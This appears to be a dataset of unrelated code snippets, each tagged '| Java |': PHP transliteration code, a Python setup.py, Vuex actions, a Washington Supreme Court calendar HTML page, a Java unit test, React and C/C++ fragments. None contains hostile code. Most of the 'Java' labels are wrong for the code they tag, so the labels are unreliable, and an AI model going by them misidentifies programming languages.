'Ó' => 'O', 'Ô' => 'O', 'Õ' => 'O', 'Ø' => 'O', 'Ō' => 'O', 'Ő' => 'O',
'Ŏ' => 'O', 'Ŕ' => 'R', 'Ř' => 'R', 'Ŗ' => 'R', 'Ś' => 'S', 'Ş' => 'S',
'Ŝ' => 'S', 'Ș' => 'S', 'Š' => 'S', 'Ť' => 'T', 'Ţ' => 'T', 'Ŧ' => 'T',
'Ț' => 'T', 'Ù' => 'U', 'Ú' => 'U', 'Û' => 'U', 'Ū' => 'U', 'Ů' => 'U',
'Ű' => 'U', 'Ŭ' => 'U', 'Ũ' => 'U', 'Ų' => 'U', 'Ŵ' => 'W', 'Ŷ' => 'Y',
'Ÿ' => 'Y', 'Ý' => 'Y', 'Ź' => 'Z', 'Ż' => 'Z', 'Ž' => 'Z', 'à' => 'a',
'á' => 'a', 'â' => 'a', 'ã' => 'a', 'ā' => 'a', 'ą' => 'a', 'ă' => 'a',
'å' => 'a', 'ç' => 'c', 'ć' => 'c', 'č' => 'c', 'ĉ' => 'c', 'ċ' => 'c',
'ď' => 'd', 'đ' => 'd', 'è' => 'e', 'é' => 'e', 'ê' => 'e', 'ë' => 'e',
'ē' => 'e', 'ę' => 'e', 'ě' => 'e', 'ĕ' => 'e', 'ė' => 'e', 'ƒ' => 'f',
'ĝ' => 'g', 'ğ' => 'g', 'ġ' => 'g', 'ģ' => 'g', 'ĥ' => 'h', 'ħ' => 'h',
'ì' => 'i', 'í' => 'i', 'î' => 'i', 'ï' => 'i', 'ī' => 'i', 'ĩ' => 'i',
'ĭ' => 'i', 'į' => 'i', 'ı' => 'i', 'ĵ' => 'j', 'ķ' => 'k', 'ĸ' => 'k',
'ł' => 'l', 'ľ' => 'l', 'ĺ' => 'l', 'ļ' => 'l', 'ŀ' => 'l', 'ñ' => 'n',
'ń' => 'n', 'ň' => 'n', 'ņ' => 'n', 'ʼn' => 'n', 'ŋ' => 'n', 'ò' => 'o',
'ó' => 'o', 'ô' => 'o', 'õ' => 'o', 'ø' => 'o', 'ō' => 'o', 'ő' => 'o',
'ŏ' => 'o', 'ŕ' => 'r', 'ř' => 'r', 'ŗ' => 'r', 'ś' => 's', 'š' => 's',
'ť' => 't', 'ù' => 'u', 'ú' => 'u', 'û' => 'u', 'ū' => 'u', 'ů' => 'u',
'ű' => 'u', 'ŭ' => 'u', 'ũ' => 'u', 'ų' => 'u', 'ŵ' => 'w', 'ÿ' => 'y',
'ý' => 'y', 'ŷ' => 'y', 'ż' => 'z', 'ź' => 'z', 'ž' => 'z', 'Α' => 'A',
'Ά' => 'A', 'Ἀ' => 'A', 'Ἁ' => 'A', 'Ἂ' => 'A', 'Ἃ' => 'A', 'Ἄ' => 'A',
'Ἅ' => 'A', 'Ἆ' => 'A', 'Ἇ' => 'A', 'ᾈ' => 'A', 'ᾉ' => 'A', 'ᾊ' => 'A',
'ᾋ' => 'A', 'ᾌ' => 'A', 'ᾍ' => 'A', 'ᾎ' => 'A', 'ᾏ' => 'A', 'Ᾰ' => 'A',
'Ᾱ' => 'A', 'Ὰ' => 'A', 'ᾼ' => 'A', 'Β' => 'B', 'Γ' => 'G', 'Δ' => 'D',
'Ε' => 'E', 'Έ' => 'E', 'Ἐ' => 'E', 'Ἑ' => 'E', 'Ἒ' => 'E', 'Ἓ' => 'E',
'Ἔ' => 'E', 'Ἕ' => 'E', 'Ὲ' => 'E', 'Ζ' => 'Z', 'Η' => 'I', 'Ή' => 'I',
'Ἠ' => 'I', 'Ἡ' => 'I', 'Ἢ' => 'I', 'Ἣ' => 'I', 'Ἤ' => 'I', 'Ἥ' => 'I',
'Ἦ' => 'I', 'Ἧ' => 'I', 'ᾘ' => 'I', 'ᾙ' => 'I', 'ᾚ' => 'I', 'ᾛ' => 'I',
'ᾜ' => 'I', 'ᾝ' => 'I', 'ᾞ' => 'I', 'ᾟ' => 'I', 'Ὴ' => 'I', 'ῌ' => 'I',
'Θ' => 'T', 'Ι' => 'I', 'Ί' => 'I', 'Ϊ' => 'I', 'Ἰ' => 'I', 'Ἱ' => 'I',
'Ἲ' => 'I', 'Ἳ' => 'I', 'Ἴ' => 'I', 'Ἵ' => 'I', 'Ἶ' => 'I', 'Ἷ' => 'I',
'Ῐ' => 'I', 'Ῑ' => 'I', 'Ὶ' => 'I', 'Κ' => 'K', 'Λ' => 'L', 'Μ' => 'M',
'Ν' => 'N', 'Ξ' => 'K', 'Ο' => 'O', 'Ό' => 'O', 'Ὀ' => 'O', 'Ὁ' => 'O',
'Ὂ' => 'O', 'Ὃ' => 'O', 'Ὄ' => 'O', 'Ὅ' => 'O', 'Ὸ' => 'O', 'Π' => 'P',
'Ρ' => 'R', 'Ῥ' => 'R', 'Σ' => 'S', 'Τ' => 'T', 'Υ' => 'Y', 'Ύ' => 'Y',
'Ϋ' => 'Y', 'Ὑ' => 'Y', 'Ὓ' => 'Y', 'Ὕ' => 'Y', 'Ὗ' => 'Y', 'Ῠ' => 'Y',
'Ῡ' => 'Y', 'Ὺ' => 'Y', 'Φ' => 'F', 'Χ' => 'X', 'Ψ' => 'P', 'Ω' => 'O',
'Ώ' => 'O', 'Ὠ' => 'O', 'Ὡ' => 'O', 'Ὢ' => 'O', 'Ὣ' => 'O', 'Ὤ' => 'O',
'Ὥ' => 'O', 'Ὦ' => 'O', 'Ὧ' => 'O', 'ᾨ' => 'O', 'ᾩ' => 'O', 'ᾪ' => 'O',
'ᾫ' => 'O', 'ᾬ' => 'O', 'ᾭ' => 'O', 'ᾮ' => 'O', 'ᾯ' => 'O', 'Ὼ' => 'O',
'ῼ' => 'O', 'α' => 'a', 'ά' => 'a', 'ἀ' => 'a', 'ἁ' => 'a', 'ἂ' => 'a',
'ἃ' => 'a', 'ἄ' => 'a', 'ἅ' => 'a', 'ἆ' => 'a', 'ἇ' => 'a', 'ᾀ' => 'a',
'ᾁ' => 'a', 'ᾂ' => 'a', 'ᾃ' => 'a', 'ᾄ' => 'a', 'ᾅ' => 'a', 'ᾆ' => 'a',
'ᾇ' => 'a', 'ὰ' => 'a', 'ᾰ' => 'a', 'ᾱ' => 'a', 'ᾲ' => 'a', 'ᾳ' => 'a',
'ᾴ' => 'a', 'ᾶ' => 'a', 'ᾷ' => 'a', 'β' => 'b', 'γ' => 'g', 'δ' => 'd',
'ε' => 'e', 'έ' => 'e', 'ἐ' => 'e', 'ἑ' => 'e', 'ἒ' => 'e', 'ἓ' => 'e',
'ἔ' => 'e', 'ἕ' => 'e', 'ὲ' => 'e', 'ζ' => 'z', 'η' => 'i', 'ή' => 'i',
'ἠ' => 'i', 'ἡ' => 'i', 'ἢ' => 'i', 'ἣ' => 'i', 'ἤ' => 'i', 'ἥ' => 'i',
'ἦ' => 'i', 'ἧ' => 'i', 'ᾐ' => 'i', 'ᾑ' => 'i', 'ᾒ' => 'i', 'ᾓ' => 'i',
'ᾔ' => 'i', 'ᾕ' => 'i', 'ᾖ' => 'i', 'ᾗ' => 'i', 'ὴ' => 'i', 'ῂ' => 'i',
'ῃ' => 'i', 'ῄ' => 'i', 'ῆ' => 'i', 'ῇ' => 'i', 'θ' => 't', 'ι' => 'i',
'ί' => 'i', 'ϊ' => 'i', 'ΐ' => 'i', 'ἰ' => 'i', 'ἱ' => 'i', 'ἲ' => 'i',
'ἳ' => 'i', 'ἴ' => 'i', 'ἵ' => 'i', 'ἶ' => 'i', 'ἷ' => 'i', 'ὶ' => 'i',
'ῐ' => 'i', 'ῑ' => 'i', 'ῒ' => 'i', 'ῖ' => 'i', 'ῗ' => 'i', 'κ' => 'k',
'λ' => 'l', 'μ' => 'm', 'ν' => 'n', 'ξ' => 'k', 'ο' => 'o', 'ό' => 'o',
'ὀ' => 'o', 'ὁ' => 'o', 'ὂ' => 'o', 'ὃ' => 'o', 'ὄ' => 'o', 'ὅ' => 'o',
'ὸ' => 'o', 'π' => 'p', 'ρ' => 'r', 'ῤ' => 'r', 'ῥ' => 'r', 'σ' => 's',
'ς' => 's', 'τ' => 't', 'υ' => 'y', 'ύ' => 'y', 'ϋ' => 'y', 'ΰ' => 'y',
'ὐ' => 'y', 'ὑ' => 'y', 'ὒ' => 'y', 'ὓ' => 'y', 'ὔ' => 'y', 'ὕ' => 'y',
'ὖ' => 'y', 'ὗ' => 'y', 'ὺ' => 'y', 'ῠ' => 'y', 'ῡ' => 'y', 'ῢ' => 'y',
'ῦ' => 'y', 'ῧ' => 'y', 'φ' => 'f', 'χ' => 'x', 'ψ' => 'p', 'ω' => 'o',
'ώ' => 'o', 'ὠ' => 'o', 'ὡ' => 'o', 'ὢ' => 'o', 'ὣ' => 'o', 'ὤ' => 'o',
'ὥ' => 'o', 'ὦ' => 'o', 'ὧ' => 'o', 'ᾠ' => 'o', 'ᾡ' => 'o', 'ᾢ' => 'o',
'ᾣ' => 'o', 'ᾤ' => 'o', 'ᾥ' => 'o', 'ᾦ' => 'o', 'ᾧ' => 'o', 'ὼ' => 'o',
'ῲ' => 'o', 'ῳ' => 'o', 'ῴ' => 'o', 'ῶ' => 'o', 'ῷ' => 'o', 'А' => 'A',
'Б' => 'B', 'В' => 'V', 'Г' => 'G', 'Д' => 'D', 'Е' => 'E', 'Ё' => 'E',
'Ж' => 'Z', 'З' => 'Z', 'И' => 'I', 'Й' => 'I', 'К' => 'K', 'Л' => 'L',
'М' => 'M', 'Н' => 'N', 'О' => 'O', 'П' => 'P', 'Р' => 'R', 'С' => 'S',
'Т' => 'T', 'У' => 'U', 'Ф' => 'F', 'Х' => 'K', 'Ц' => 'T', 'Ч' => 'C',
'Ш' => 'S', 'Щ' => 'S', 'Ы' => 'Y', 'Э' => 'E', 'Ю' => 'Y', 'Я' => 'Y',
'а' => 'A', 'б' => 'B', 'в' => 'V', 'г' => 'G', 'д' => 'D', 'е' => 'E',
'ё' => 'E', 'ж' => 'Z', 'з' => 'Z', 'и' => 'I', 'й' => 'I', 'к' => 'K',
'л' => 'L', 'м' => 'M', 'н' => 'N', 'о' => 'O', 'п' => 'P', 'р' => 'R',
'с' => 'S', 'т' => 'T', 'у' => 'U', 'ф' => 'F', 'х' => 'K', 'ц' => 'T',
'ч' => 'C', 'ш' => 'S', 'щ' => 'S', 'ы' => 'Y', 'э' => 'E', 'ю' => 'Y',
'я' => 'Y', 'ð' => 'd', 'Ð' => 'D', 'þ' => 't', 'Þ' => 'T', 'ა' => 'a',
'ბ' => 'b', 'გ' => 'g', 'დ' => 'd', 'ე' => 'e', 'ვ' => 'v', 'ზ' => 'z',
'თ' => 't', 'ი' => 'i', 'კ' => 'k', 'ლ' => 'l', 'მ' => 'm', 'ნ' => 'n',
'ო' => 'o', 'პ' => 'p', 'ჟ' => 'z', 'რ' => 'r', 'ს' => 's', 'ტ' => 't',
'უ' => 'u', 'ფ' => 'p', 'ქ' => 'k', 'ღ' => 'g', 'ყ' => 'q', 'შ' => 's',
'ჩ' => 'c', 'ც' => 't', 'ძ' => 'd', 'წ' => 't', 'ჭ' => 'c', 'ხ' => 'k',
'ჯ' => 'j', 'ჰ' => 'h',
);
return str_replace(array_keys($transliteration), array_values($transliteration), $str);
}
}
?>
| Java |
//
// Created by Christian Ehrig on 31/01/16.
//
#ifndef FILETOAST_WORKER_H
#define FILETOAST_WORKER_H
void * worker(void *);
char * readfile(t_job *);
int senddata(t_job * job);
#endif //FILETOAST_WORKER_H
| Java |
#! /usr/bin/env python
# -*- coding: utf-8 -*-
#
# pkpgcounter : a generic Page Description Language parser
#
# (c) 2003-2009 Jerome Alet <alet@librelogiciel.com>
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
# $Id$
#
#
import sys
import glob
import os
import shutil
try :
from distutils.core import setup
except ImportError as msg :
sys.stderr.write("%s\n" % msg)
sys.stderr.write("You need the DistUtils Python module.\nunder Debian, you may have to install the python-dev package.\nOf course, YMMV.\n")
sys.exit(-1)
try :
from PIL import Image
except ImportError :
sys.stderr.write("You need the Python Imaging Library (aka PIL).\nYou can grab it from http://www.pythonware.com\n")
sys.exit(-1)
sys.path.insert(0, "pkpgpdls")
from pkpgpdls.version import __version__, __doc__
data_files = []
mofiles = glob.glob(os.sep.join(["po", "*", "*.mo"]))
for mofile in mofiles :
lang = mofile.split(os.sep)[1]
directory = os.sep.join(["share", "locale", lang, "LC_MESSAGES"])
data_files.append((directory, [ mofile ]))
docdir = "share/doc/pkpgcounter"
docfiles = ["README", "COPYING", "BUGS", "CREDITS", "AUTHORS", "TODO"]
data_files.append((docdir, docfiles))
if os.path.exists("ChangeLog") :
data_files.append((docdir, ["ChangeLog"]))
directory = os.sep.join(["share", "man", "man1"])
manpages = glob.glob(os.sep.join(["man", "*.1"]))
data_files.append((directory, manpages))
setup(name = "pkpgcounter", version = __version__,
license = "GNU GPL",
description = __doc__,
author = "Jerome Alet",
author_email = "alet@librelogiciel.com",
url = "http://www.pykota.com/software/pkpgcounter/",
packages = [ "pkpgpdls" ],
scripts = [ "bin/pkpgcounter" ],
data_files = data_files)
| Java |
const actions = {
// Video ended
ended({dispatch,commit}, video) {
video.isPlaying = false;
dispatch('next', video);
commit('PLAYING',video);
},
// Add video to queue
addToQueue({state, dispatch, commit }, obj) {
var index = _.findIndex(state.queue, function(o) {
return o.videoId == obj.videoId; });
if (index == -1) commit('ADD_TO_QUEUE', obj);
},
// Play a video
playVideo({ state, dispatch, commit }, video) {
if (!state.playing || state.playing.videoId != video.videoId) {
state.player.loadVideoById({ videoId: video.videoId, suggestedQuality: 'small' });
} else {
state.player.playVideo();
}
video.isPlaying = true;
commit('PLAYING',video);
dispatch('addToQueue', video);
},
// Puase a video
pauseVideo({ state, dispatch, commit }, video) {
video.isPlaying = false;
state.player.pauseVideo();
commit('PLAYING',video);
},
// Play next song
next({ state, dispatch, commit }) {
if (state.queue && state.playing) {
var index = _.findIndex(state.queue, function(o) {
return o.videoId == state.playing.videoId;
});
if (index != -1 && state.queue[index + 1]) {
dispatch('playVideo', state.queue[index + 1]);
}
}
},
// Play previous song
previous({ state, dispatch, commit }) {
if (state.queue && state.playing) {
var index = _.findIndex(state.queue, function(o) {
return o.videoId == state.playing.videoId;
});
if (index && state.queue[index - 1]) {
dispatch('playVideo', state.queue[index - 1]);
}
}
},
addToFav({state,commit},video){
var index = _.findIndex(state.favs,function(o){
return o.videoId == video.videoId;
});
// Add to favs if not exists
if(index == -1) {
commit('ADD_TO_FAVS',video);
state.localStorage.setItem("favs", state.favs);
} else if(index >= 0) {
commit('REMOVE_FROM_FAVS',index);
state.localStorage.setItem("favs", state.favs);
}
},
// Add localforge to state and load data from localStorage
loadLocalStorage({state,commit},localStorage){
commit('LOAD_LOCAL_STORAGE',localStorage);
state.localStorage.getItem('favs').then(function(list) {
if(list) commit('ADD_TO_FAVS',list);
}).catch(function(err) {
console.log(err);
});
}
}
export default actions; | Java |
<!DOCTYPE html>
<html>
<head>
<title>Washington State Courts - Supreme Court Calendar </title>
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta http-equiv="expires" content="0">
<meta http-equiv="Pragma" content="no-cache">
<link rel="icon" type="image/vnd.microsoft.icon" href="//www.courts.wa.gov/favicon.ico">
<noscript>
<link href="/css/layoutStylesv3.css" type=text/css rel=stylesheet />
<link href="/css/stylesheetv2.css" type=text/css rel=stylesheet />
<link href="/css/tabStyles.css" type=text/css rel=stylesheet />
<link href="/css/subsite_stylesv2.css" rel=stylesheet type=text/css />
</noscript>
<script language="JavaScript" src="/includes/AOCScripts.js" type="text/javascript"></script>
<script type="text/javascript" language="JavaScript1.2" src="/includes/stm31.js"></script>
<script src="/scripts/jquery-1.11.2.min.js" type="text/javascript" language="JavaScript"></script>
<script src="/js/modernizr-custom.min.js"></script>
<script src="/js/featureDetection.js"></script>
<script src="/js/jqueryForForm.js" type="text/javascript"></script>
<script src="/js/multiFileUpload.js" type="text/javascript"></script>
<link rel="stylesheet" type="text/css" href="/css/libraryStylesv2.css" />
<link rel="stylesheet" type="text/css" href="/css/layoutStylesv3.css" />
<link rel="stylesheet" type="text/css" href="/css/stylesheetv2.css" />
<link rel="stylesheet" type="text/css" href="/css/subsite_stylesv2.css" />
</head>
<body>
<div id="topLayout">
<div id="newLayout">
<div id="newPageLayout">
<a name="top"></a>
<div id="topheader">
<div id="left"><a href="/"><img src="/images/waCourtsLogo.png" border="0" alt="Welcome to Washington State Courts" /></a></div>
<div id="right">
<div class="socialMediaBar">
<ul>
<li><a href="/notifications/" title="Sign up for Notifications"><img src="/images/iconEmailBlue.png" alt="Sign up for Email Notifications" border="0" /></a></li>
<li><a href="/notifications/" title="Sign up for Notifications">Get Email Updates</a></li>
<li>|</li>
<li><a href="https://aoc.custhelp.com/"><img src="/images/iconHelp_flatBlueSm2.png" border="0" /></a></li>
<li><a href="https://aoc.custhelp.com/">FAQs & eService Center</a></li>
</ul>
</div>
<div class="topSearchArea">
<form method="post" action="/search/index.cfm?fa=search.start_search">
<input type="text" name="searchTerms" size="36" maxlength="256" placeholder="Search WA Courts Site" class="searchField" value="Search WA Courts Site"
onfocus="if (this.value=='Search WA Courts Site'){this.value='';$(this).css('color','#000000','font-style','normal');}"
onblur="if (this.value==''){this.value='Search WA Courts Site';$(this).css('color', '#bbbbb7');}">
<input type="image" name="btnSearch" class="searchButton" alt="Search" src="/images/iconSearch.png">
</form>
</div>
</div>
</div>
<div id="mainNav">
<ul id="menuBar">
<a href="/forms/" ><li class="menuItem first" >Forms</li></a>
<a href="/court_dir/" ><li class="menuItem" >Court Directory</li></a>
<a href="/opinions/" ><li class="menuItem">Opinions</li></a>
<a href="/court_rules/" ><li class="menuItem">Rules</li></a>
<a href="/appellate_trial_courts/" ><li class="menuItem">Courts</li></a>
<a href="/programs_orgs/" ><li class="menuItem">Programs & Organizations</li></a>
<a href="/newsinfo/index.cfm?fa=newsinfo.displayContent&theFile=content/ResourcesPubsReports" ><li class="menuItem last">Resources</li></a>
</ul>
</div>
<div id="topline">
<div id="left" class="breadcrumb"><a href="/">Courts Home</a> > <a href="/appellate_trial_courts/" class="breadcrumb">Courts</a> > <a href="/appellate_trial_courts/supreme/calendar" class="breadcrumb">Supreme Court Calendar</a></div>
</div>
<a name="body"></a>
<table width="100%" border="0" cellspacing="0" cellpadding="0" style="clear:both;">
<tr>
<td width="10"> </td>
<td valign="top" class="mainPage">
<table width="100%">
<tr>
<td valign="top"><h2>Supreme Court Calendar</h2></td>
<td valign="top" align="right" width="175"><div class="linkBox"><a href="/appellate_trial_courts/coaBriefs/index.cfm?fa=coaBriefs.ScHome&courtId=A08">Supreme Court Briefs</a></div></td>
</tr>
</table>
<table border=0 cellspacing="0" cellpadding="2" width="95%">
<tr>
<td valign="top" width="45%"><p><b>9:00 A.M. </b>
</td>
<td valign="top" ><p><b> Olympia </b>
</td>
<td valign="top"><p><b>Wednesday, January 22, 2003</b>
</td></tr></table>
<p>
<table border="1" cellspacing="0" cellpadding="2" width="95%">
<tr>
<td width="288"></td>
<td width="295"></td></tr>
<tr>
<td valign="top" width="288"><p><b>Case No. 1 – 72412-1</b>
</td>
<td valign="top" width="295"><p><b><u>COUNSEL</u></b>
</td></tr>
<tr>
<td valign="top" width="288"><p>State of Washington,
<BR> v.
<br>Viengmone Khounvichai
</td>
<td valign="top" width="295"><p>Randi Austell
<p>Eric Nielsen
</td></tr>
<tr>
<td colspan="2" valign="top" width="583"><p><b>SYNOPSIS:</b> Whether evidence of the defendant’s drug possession, found in his home, should have been suppressed because police officers who went to his home to talk with him about an unrelated crime failed to inform his grandmother, who answered the door, that she did not have to let them in and could revoke her consent at any time.
</td></tr></table>
<p>
<table border="1" cellspacing="0" cellpadding="2" width="95%">
<tr>
<td width="288"></td>
<td width="295"></td></tr>
<tr>
<td valign="top" width="288"><p><b>Case No. 2 – 72366-4</b>
</td>
<td valign="top" width="295"><p><b><u>COUNSEL</u></b>
</td></tr>
<tr>
<td valign="top" width="288"><p>In re the Marriage of
<p>John Christopher Rideout,
<br> and
<br>Sara Dixon Rideout
</td>
<td valign="top" width="295">
<p>Charles Szurszewski
<br>Kenneth Master/Charles Wiggins
<p>Melissa Denton
</td></tr>
<tr>
<td colspan="2" valign="top" width="583"><p><b>SYNOPSIS:</b> What is the proper appellate standard of review where a trial court’s decision is based solely on documentation, including declarations, and where the credibility of the parties is at issue before the court. Additionally, whether a divorced parent may be held in contempt for bad faith violation of a parenting plan when a child refuses visitation with the noncustodial parent.
</td></tr></table>
<p></p>
<hr noshade align="left" width="95%">
<b>1:30 P.M.</b>
<hr noshade align="left" width="95%">
<p>
<table border="1" cellspacing="0" cellpadding="2" width="95%">
<tr>
<td width="288"></td>
<td width="295"></td></tr>
<tr>
<td valign="top" width="288"><p><b>Case No. 3 – 72435-1</b>
</td>
<td valign="top" width="295"><p><b><u>COUNSEL</u></b>
</td></tr>
<tr>
<td valign="top" width="288"><p>State of Washington,
<BR> v.
<br>Peter H. Moen
</td>
<td valign="top" width="295"><p>Andrew Metts/Kevin Korsmo
<p>Paul Mack
</td></tr>
<tr>
<td colspan="2" valign="top" width="583"><p><b>SYNOPSIS:</b> Whether a prosecutor may condition plea bargaining on a defendant’s waiver of the right to request the identity of a confidential informant in a related civil action seeking return of forfeited property.
</td></tr></table>
<p>
<table border="1" cellspacing="0" cellpadding="2" width="95%">
<tr>
<td width="288"></td>
<td width="295"></td></tr>
<tr>
<td valign="top" width="288"><p><b>Case No. 4 – 72436-9</b>
</td>
<td valign="top" width="295"><p><b><u>COUNSEL</u></b>
</td></tr>
<tr>
<td valign="top" width="288"><p>Judy Kloepfel,
<BR> v.
<br>Joseph Bokor
</td>
<td valign="top" width="295"><p>Charles Conrad
<p>Stanley Perdue
</td></tr>
<tr>
<td colspan="2" valign="top" width="583"><p><b>SYNOPSIS:</b> Whether a plaintiff must present medical evidence of objective physical symptoms or manifestations of severe emotional injury in order to prevail on a claim for intentional infliction of emotional distress.
</td></tr></table>
<p><b>These summaries are not formulated by the Court and are provided for the convenience of the public only.</b>
</td>
<td width="10"> </td>
</tr>
</table>
<div class="footerOuter">
<div class="footerBg">
<div class="footerLayout">
<ul>
<span class="footerHeader">Access Records</span>
<li><a href="/jislink/">JIS LINK</a></li>
<li><a href="http://dw.courts.wa.gov?fa=home.fmcd">Find Your Court Date</a></li>
<li><a href="http://dw.courts.wa.gov">Search Case Records</a></li>
<li><a href="/newsinfo/publication/?fa=newsinfo_publication.recordsRequest">Records Request</a></li>
<li><a href="/jis/">Judicial Info System (JIS)</a></li>
<li><a href="https://odysseyportal.courts.wa.gov/odyportal">Odyssey Portal</a></li>
<li><a href="/caseload">Caseload Reports</a></li>
<li>
</li>
</ul>
<ul>
<span class="footerHeader">Find Resources</span>
<li><a href="/library/">State Law Library</a></li>
<li><a href="/education/">Civic Learning</a></li>
<li><a href="/newsinfo/index.cfm?fa=newsinfo.displayContent&theFile=content/ResourcesPubsReports">Resources, Publications, & Reports</a></li>
<li><a href="/committee/?fa=committee.home&committee_id=143">Court Program Accessibility (ADA)</a></li>
<li><a href="/newsinfo/resources/">Jury Service Information</a></li>
<li><a href="/Whistleblower/">Whistleblower</a></li>
<li><a href="/employ/">Employment</a></li>
<li><a href="/procure/">Procurement</a></li>
</ul>
<ul>
<span class="footerHeader">From the Courts</span>
<li><a href="/forms/">Court Forms</a></li>
<li><a href="/forms/?fa=forms.contribute&formID=16">Domestic Violence Forms</a></li>
<li><a href="/opinions/">Court Opinions</a></li>
<li><a href="/court_rules/">Court Rules</a></li>
<li><a href="/index.cfm?fa=home.contentDisplay&location=PatternJuryInstructions">Pattern Jury Instructions</a></li>
<li><a href="/emergency/">Emergency Procedures</a></li>
<li><a href="/index.cfm?fa=home.courtClosures">Notice of Court Closures</a></li>
</ul>
<ul>
<span class="footerHeader">Get Organizational Information</span>
<li><a href="/appellate_trial_courts/aocwho/">Administrative Office of the Courts</a></li>
<li><a href="/appellate_trial_courts/SupremeCourt/?fa=supremecourt.welcome">Supreme Court</a></li>
<li><a href="/appellate_trial_courts/">Appellate & Trial Courts</a></li>
<li><a href="/programs_orgs/">Programs & Organizations</a></li>
<li><a href="/newsinfo/">Washington Court News</a></li>
<li><a href="/court_dir/">Court Directory</a></li>
</ul>
</div>
</div>
</div>
</div>
<div class="stayConnected">
<ul style="float:left;">
<li><span class="stayConnectedHeader">Connect with us</span></li>
<li><a href="https://www.facebook.com/washingtoncourts"><img src="/images/iconFB_gray.png" alt="Find us on Facebook" border="0" /></a></li>
<li><a href="https://twitter.com/WACourts"><img src="/images/iconTwitter_gray.png" alt="Follow us on Twitter" border="0" /></a></li>
<li><a href="http://www.youtube.com/channel/UCx4B3hu7aZGPnYGKwph2M0w"><img src="/images/iconYT_gray.png" alt="Watch our YouTube Channel" border="0" /></a></li>
<li><a href="/notifications/?fa=notifications.rss"><img src="/images/iconRss_gray.png" alt="Use one of our RSS Feeds" border="0" /></a></li>
</ul>
<ul style="float:left; padding: 0 0 0 24px;">
<li><span class="stayConnectedHeader">Need Help?</span></li>
<li><a href="https://aoc.custhelp.com/"><img src="/images/iconHelp_lg.png" border="0"></a></li>
<li><span class="stayConnectedHeader"><a href="https://aoc.custhelp.com/">FAQs & eService Center</a></span></li>
</ul>
</div>
<div class="footerLower">
<ul>
<li class="footerText" style="float:left;"><a href="/?fa=home.notice">Privacy & Disclaimer Notices</a> | <a href="/index.cfm?fa=home.sitemap">Sitemap</a></li>
<li class="sealPos"><img src="/images/footerSeal.png" alt="WA State Seal" ></li>
<li class="footerText" style="float:right;">Copyright AOC © 2014</li>
</ul>
</div>
<div class="accessWA">
<div style="display:inline; padding:0 12px 0 8px;float:left;"><a href="http://access.wa.gov" target="_blank"><img src="/images/AWlogo2_150px.gif" border="0" /></a></div>
<div style="display:inline; padding:8px 0;float:left;">For Washington State laws, visit the <a href="http://www1.leg.wa.gov/Legislature/" class="external" target="_blank" style="text-decoration:underline;">Washington State Legislature</a></div>
<div style="display:inline; padding:8px 0;float:right; font-size:8px">S3</div>
</div>
</div>
</div>
</body>
</html> | Java |
package com.baeldung.collection.filtering;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.Set;
import java.util.stream.Collectors;
import org.hamcrest.Matchers;
import org.junit.Assert;
import org.junit.Test;
/**
* Various filtering examples.
*
* @author Rodolfo Felipe
*/
public class CollectionFilteringUnitTest {
private List<Employee> buildEmployeeList() {
return Arrays.asList(new Employee(1, "Mike", 1), new Employee(2, "John", 1), new Employee(3, "Mary", 1), new Employee(4, "Joe", 2), new Employee(5, "Nicole", 2), new Employee(6, "Alice", 2), new Employee(7, "Bob", 3), new Employee(8, "Scarlett", 3));
}
private List<String> employeeNameFilter() {
return Arrays.asList("Alice", "Mike", "Bob");
}
@Test
public void givenEmployeeList_andNameFilterList_thenObtainFilteredEmployeeList_usingForEachLoop() {
List<Employee> filteredList = new ArrayList<>();
List<Employee> originalList = buildEmployeeList();
List<String> nameFilter = employeeNameFilter();
for (Employee employee : originalList) {
for (String name : nameFilter) {
if (employee.getName()
.equalsIgnoreCase(name)) {
filteredList.add(employee);
}
}
}
Assert.assertThat(filteredList.size(), Matchers.is(nameFilter.size()));
}
@Test
public void givenEmployeeList_andNameFilterList_thenObtainFilteredEmployeeList_usingLambda() {
List<Employee> filteredList;
List<Employee> originalList = buildEmployeeList();
List<String> nameFilter = employeeNameFilter();
filteredList = originalList.stream()
.filter(employee -> nameFilter.contains(employee.getName()))
.collect(Collectors.toList());
Assert.assertThat(filteredList.size(), Matchers.is(nameFilter.size()));
}
@Test
public void givenEmployeeList_andNameFilterList_thenObtainFilteredEmployeeList_usingLambdaAndHashSet() {
List<Employee> filteredList;
List<Employee> originalList = buildEmployeeList();
Set<String> nameFilterSet = employeeNameFilter().stream()
.collect(Collectors.toSet());
filteredList = originalList.stream()
.filter(employee -> nameFilterSet.contains(employee.getName()))
.collect(Collectors.toList());
Assert.assertThat(filteredList.size(), Matchers.is(nameFilterSet.size()));
}
}
| Java |
// core
import React from 'react';
import PropTypes from 'react';
// components
import Loading from '../../components/loading/Loading';
// styles
var style = require('./_index.scss');
// data
var Timeline = require('react-twitter-widgets').Timeline;
var Twitter = React.createClass({
getInitialState: function(){
return {
isLoading: true
}
},
componentWillMount: function(){
this.setState({
isLoading: true
})
},
componentDidMount: function(){
this.setState({
isLoading: false
})
},
render: function(){
if(this.state.isLoading === true){
return (
<Loading />
)
} else {
return (
<div className='twitter-container'>
<Timeline className='twitter-component' dataSource={{
sourceType: 'widget',
widgetId: '844245316706566144'
}} />
</div>
)
}
}
});
export default Twitter;
| Java |
/*
===========================================================================
Copyright (c) 2010-2014 Darkstar Dev Teams
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see http://www.gnu.org/licenses/
This file is part of DarkStar-server source code.
===========================================================================
*/
#include <string.h>
#include "../entities/charentity.h"
#include "../entities/mobentity.h"
#include "../party.h"
#include "charutils.h"
#include "../alliance.h"
#include "zoneutils.h"
#include "itemutils.h"
#include "battlefieldutils.h"
#include "../battlefield.h"
#include "../battlefield_handler.h"
#include "../packets/entity_update.h"
